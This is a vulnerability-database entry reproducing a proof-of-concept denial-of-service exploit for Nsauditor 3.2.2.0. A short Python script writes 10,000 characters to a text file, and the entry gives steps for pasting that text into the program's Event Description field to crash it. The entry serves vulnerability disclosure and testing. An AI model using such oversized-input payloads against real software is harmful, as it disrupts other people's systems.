发布 2021-02-16 漏洞条目

Nsauditor 3.2.2.0 – ‘Event Description’ Denial of Service (PoC)

Exploit Source

# Exploit Title: Nsauditor 3.2.2.0 - 'Event Description' Denial of Service (PoC)

# Date: 2021-02-15

# Exploit Author: Ismael Nava

# Vendor Homepage: https://www.nsauditor.com/

# Software Link: http://www.nsauditor.com/downloads/nsauditor_setup.exe

# Version: 3.2.2.0

# Tested on: Windows 10 Home x64

#STEPS

# Open the program Nsauditor

# In Options select Configuration...

# Click in Security Events

# Run the python exploit script, it will create a new .txt files

# Copy the content of the file "Liella.txt"

# Paste the content in the field Event Description and click in Add Event

# End :)

buffer = 'U' * 10000

try:

file = open("Liella.txt","w")

file.write(buffer)

file.close()

print("Archive ready")

except:

print("Archive no ready")

相关漏洞条目